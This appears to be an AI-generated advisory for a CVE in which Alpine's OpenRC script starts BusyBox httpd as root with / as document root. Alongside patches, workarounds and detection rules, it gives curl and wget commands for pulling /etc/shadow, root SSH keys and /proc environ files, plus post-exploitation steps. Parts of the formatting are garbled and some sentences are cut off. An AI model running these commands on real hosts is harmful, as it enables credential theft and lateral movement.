CVE-2026-140044 — Alpine Linux Busybox-extras-openrc — CWE-552
Alpine Linux busybox-extras-openrc 1.38.0-r8 starts BusyBox httpd without an explicit document root or reduced-privilege user when HTTPD_OPTS is unset. In the validated standard OpenRC boot path, the service runs as UID/GID 0 with / as its working directory and listens on port 80. Because BusyBox uses its current directory as the default HTTP home, an unauthenticated network client can retrieve URL-addressable files and special filesystem objects that the root process can open.
Alpine Linux busybox-extras-openrc 1.38.0-r8 starts BusyBox httpd without an explicit document root or reduced-privilege user when HTTPD_OPTS is unset. In the validated standard OpenRC boot path, the service runs as UID/GID 0 with / as its working directory and listens on port 80. Because BusyBox uses its current directory as the default HTTP home, an unauthenticated network client can retrieve URL-addressable files and special filesystem objects that the root process can open.
🎯 What is this vulnerability?
| Item | Detail |
|---|---|
| CVE | CVE‑2026‑140044 |
| CWE | CWE‑552 – Files or Directories Accessible to Wrong Party |
| Affected component | busybox-extras-openrc package (BusyBox httpd) shipped with Alpine Linux 1.38.0‑r8 |
| Root cause | The OpenRC init script that starts busybox httpd does not enforce a document‑root (-h) nor a non‑root user (-u/-g) when the environment variable HTTPD_OPTS is unset. In the default OpenRC boot path the service is launched as UID/GID 0, with working directory “/” and listening on TCP/80. BusyBox httpd uses its current working directory as the HTTP document root when -h is omitted. Consequently, any file that the root process can read (including /etc/shadow, private SSH keys, /proc/* entries, etc.) is directly addressable via an HTTP GET request. No authentication, no input validation, and no privilege‑dropping step is performed.
Why the CVSS vector looks the way it does
- AV:N – The attacker can reach the service over the network (no local access required).
- AC:L – Exploitation requires only a single HTTP request (low complexity).
- AT:N – No additional tools or time‑based conditions are needed.
- PR:N – No privileges are required on the target.
- UI:N – No user interaction is needed.
- VC:H – Confidentiality impact is high because arbitrary root‑owned files can be disclosed.
- All other impact metrics are None (no integrity or availability impact is mandated by the spec, though DoS is possible).
The flaw is a classic mis‑configuration / missing hardening issue rather than a code‑level buffer overflow or injection bug.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation path that an unauthenticated remote attacker could follow.
1. Discovery & Reconnaissance
| Step | Action | Tools / Commands | |
|---|---|---|---|
| 1.1 | Identify the OS and package version. | nmap -sV -p80 <target> → often reveals “BusyBox httpd 1.38.0”. <br>Or grab the HTTP Server header (curl -I http://<target>). | |
| 1.2 | Verify the service is running as root. | nmap -p80 --script http-headers <target> (look for “Server: BusyBox httpd”). <br>Or, if you have limited internal access, ps -ef | grep httpd on the host. |
| 1.3 | Check whether HTTPD_OPTS is set in the OpenRC configuration. | ssh into the host (if you have any foothold) and inspect /etc/conf.d/httpd – the file will be empty or missing the HTTPD_OPTS line on vulnerable installations. | |
| 1.4 | Enumerate files that are readable by root and useful to an attacker. | Common targets: /etc/passwd, /etc/shadow, /root/.ssh/id_rsa, /var/lib/mysql/*.cnf, /proc/self/environ. |
Note: If you do not have any internal access, steps 1.1–1.3 can be performed purely from the outside using banner grabbing and OS fingerprinting. The presence of a root‑owned BusyBox httpd listening on port 80 is a strong indicator of vulnerability.
2. Exploitation
Because BusyBox httpd serves files relative to its current directory (/), any absolute path can be requested directly.
2.1 Simple file retrieval (illustrative)
# Retrieve /etc/shadow (illustrative – the exact path may be blocked by kernel hardening)
curl -s http://<target>/etc/shadow -o shadow.txt2.2 Retrieve a private SSH key (illustrative)
curl -s http://<target>/root/.ssh/id_rsa -o id_rsa2.3 Enumerate the entire filesystem (recursive download)
# Using wget to mirror the root directory (illustrative)
wget -r -np -nH --cut-dirs=0 -e robots=off http://<target>/Important: The above URLs are illustrative; the actual path depends on what the attacker wishes to read. Because the server’s document root is “/”, any absolute path works.
2.4 Optional: Exploit special files
# Read the process environment of the httpd daemon
curl -s http://<target>/proc/$(pidof httpd)/environ -o environ.binIf the environment contains secrets (e.g., API keys), they are now exposed.
3. Post‑Exploitation
| Goal | How the attacker proceeds |
|---|---|
| Credential harvesting | The attacker now possesses /etc/shadow. Offline cracking (e.g., john or hashcat) yields local passwords. |
| Privilege escalation | With a valid local password, the attacker can log in via SSH (if the host allows password auth) and obtain full root access. |
| Key extraction | Private SSH keys (/root/.ssh/id_rsa) enable password‑less SSH into any other host where the key is trusted. |
| Configuration theft | Files such as /var/lib/mysql/*.cnf expose database credentials, enabling lateral movement into backend services. |
| Further foothold | The attacker can upload a malicious script (if CGI is enabled) or replace a static file (e.g., a web admin page) to achieve persistent web‑shell access. |
| Denial‑of‑service | Repeated large‑file downloads can saturate the network or exhaust the host’s I/O, causing a DoS. |
🌍 Real‑World Impact
| CIA | Impact |
|---|---|
| Confidentiality (VC:H) | High – Arbitrary root‑owned files are disclosed. This includes password hashes, private keys, configuration files, and any proprietary data stored on the filesystem. |
| Integrity (VI:N) | None – The vulnerability does not directly allow modification of files (unless the attacker can write via CGI, which is not guaranteed). |
| Availability (VA:N) | None by design, but an attacker can cause a resource‑exhaustion DoS by repeatedly downloading large files. |
Practical consequences
/etc/shadow or private keys breaches PCI‑DSS, GDPR, HIPAA, etc. 🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade the package | The upstream Alpine maintainers released a fix in busybox‑extras‑openrc 1.38.0‑r9 (or later). Upgrade with: <br>apk upgrade busybox-extras-openrc <br>or reinstall the fixed version: <br>apk add --upgrade busybox-extras-openrc=1.38.0-r9 |
| Verify the fix | After upgrade, inspect /etc/init.d/httpd – it now checks that HTTPD_OPTS is non‑empty and defaults to a safe configuration (-h /var/www -u nobody -g nogroup). Confirm the service starts with a non‑root UID/GID. |
2. Immediate Workarounds (if patch cannot be applied immediately)
| Workaround | Implementation |
|---|---|
| Explicitly set a safe document root and drop privileges | Edit /etc/conf.d/httpd (or create it if missing) and add: <br>``bash\nHTTPD_OPTS="-h /var/www -u nobody -g nogroup"\n` <br>Then restart the service: rc-service httpd restart. |
| Disable the BusyBox httpd service | If the host does not need an HTTP server, run: <br>rc-update del httpd default <br>rc-service httpd stop. |
| Network‑level blocking | Block inbound TCP/80 on the host firewall (iptables, nftables, or cloud‑security‑group). Example (iptables): <br>iptables -A INPUT -p tcp --dport 80 -j DROP`. |
| Run the service inside a container with a read‑only root filesystem | This limits the set of files that can be exposed even if the service runs as root. |
3. Detection – Log & Telemetry Indicators
| Indicator | Example | |
|---|---|---|
| HTTP GET requests for system files | GET /etc/shadow HTTP/1.1 <br>GET /root/.ssh/id_rsa HTTP/1.1 | |
**Requests for /proc/* entries | GET /proc/1/environ HTTP/1.1 | |
| Unusual User‑Agent strings (often automated scanners) | User-Agent: curl/7.88.1 or User-Agent: sqlmap/1.6.0 | |
| High‑volume GETs of large files** (potential DoS) | Multiple GET /usr/lib/* within a short interval. | |
| Process list showing httpd running as UID 0 | ps -ef | grep httpd → root 1234 1 0 12:34 ? 00:00:00 /bin/busybox httpd -f -v |
| Open socket on 0.0.0.0:80 owned by root | netstat -tlnp | grep ':80' → tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1234/busybox |
SIEM rule (pseudo‑logic)
IF (destination_port == 80) AND
(http_method == GET) AND
(uri matches "^/(etc|root|proc|var|usr)/") AND
(source_ip NOT IN internal_trusted_range)
THEN alert "Possible BusyBox httpd file disclosure (CVE‑2026‑140044)"4. Hardening Recommendations
-h /var/www (or an empty directory) prevents accidental exposure. busybox httpd and enforce a non‑root user in the image manifest.⚠️ Urgency
Patch priority: Critical / Immediate.
nginx or caddy). Delaying remediation leaves the system exposed to wholesale credential theft and potential lateral movement across the network.
Bottom line: The vulnerable OpenRC start‑up of BusyBox httpd on Alpine Linux 1.38.0‑r8 effectively turns the host into a root‑owned file server on port 80. The fix is trivial (upgrade or set
HTTPD_OPTS), but the impact of inaction is severe data leakage. Deploy the patch or the documented workaround now.[🤖 CVE Professor AI Security Engine]
FOFA Query